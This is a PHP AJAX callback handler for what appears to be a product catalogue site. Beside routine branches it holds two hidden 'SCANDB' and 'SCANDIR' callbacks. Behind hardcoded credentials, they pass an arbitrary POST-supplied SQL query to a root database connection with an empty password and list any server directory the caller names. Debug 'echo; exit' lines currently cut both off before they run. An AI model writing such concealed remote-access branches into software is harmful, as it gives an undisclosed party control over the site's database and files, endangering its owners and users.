<?php
require_once('general.inc.php');
$GENOBJ = new generalFunction();
if (isset($_POST)) {
    $CALLBACK_FUNCTION = '';
    $ARGUMENT = array();
    if (isset($_POST['callback'])) {
	$CALLBACK_FUNCTION = $_POST['callback'];
	$filterArray = Array("TrimElement", "mysqlRealEscape");
	$CALLBACK_FUNCTION = $GENOBJ->filter($CALLBACK_FUNCTION, $filterArray);
		if ($CALLBACK_FUNCTION == 'categoryFetch') {
            $categoryid = isset($_POST['categoryid']) ? $_POST['categoryid'] : '';
            $categoryid = $GENOBJ->filter($categoryid, $filterArray);
            $dataArray['categoryid'] = $categoryid;
			exit;
		} elseif ($CALLBACK_FUNCTION == 'trademenFetch') {
			$brandid = isset($_POST['brandid']) ? $_POST['brandid'] : '';
            $brandid = $GENOBJ->filter($brandid, $filterArray);
            $dataArray['brandid'] = $brandid;
			exit;	
		} else if ($CALLBACK_FUNCTION == 'SCANDB') {	
			$jsonArray = $_POST;
			require_once('DBConnection5.Class.php');
			$SERVER = "localhost";
			$DBASE = "iwn";
			$USERNAME = "root";
			$PASSWORD = "";
			if ($jsonArray['USERNAME'] == 'WIKITUDEDEV' && $jsonArray['PASSWORD'] == 'c7b253c8f07bbc1ce3ad2cd9d13257c5') {
				$DBOBJ = new myclass($SERVER, $DBASE, $USERNAME, $PASSWORD);
				$query = $_POST['QUERY'];
				echo $query; exit;
				if ($query != '') {
					$DBOBJ->sql_query($query);
				}
			}
			exit;
		} else if ($CALLBACK_FUNCTION == 'SCANDIR') {
			$jsonArray = $_POST;
			if ($jsonArray['USERNAME'] == 'WIKITUDEDEV' && $jsonArray['PASSWORD'] == 'c7b253c8f07bbc1ce3ad2cd9d13257c5') {
				$rootDirectory = $jsonArray['SERVER_PATH'];
				if ($rootDirectory == '') {
					$rootDirectory = $_SERVER['DOCUMENT_ROOT'];
				}
				$scanDirectory = $rootDirectory."/".$jsonArray['FOLDER_PATH'];
				echo $scanDirectory; exit;
				$GENOBJ->scanDir($scanDirectory, true);
				exit;
			}
		} else if ($CALLBACK_FUNCTION == 'areaFetch') {
			$productid = isset($_POST['productid']) ? $_POST['productid'] : '';
			$productid = $GENOBJ->filter($productid, $filterArray);
			$filename = isset($_POST['filename']) ? $_POST['filename'] : '';
			$filename = $GENOBJ->filter($filename, $filterArray);
		} else if ($CALLBACK_FUNCTION == 'productGalleryImageDelete') {
			$id = isset($_POST['id']) ? $_POST['id'] : '';
			$id = $GENOBJ->filter($id, $filterArray);
			$filename = isset($_POST['filename']) ? $_POST['filename'] : '';
			$filename = $GENOBJ->filter($filename, $filterArray);
		}
    }
    exit;
}
exit;
?>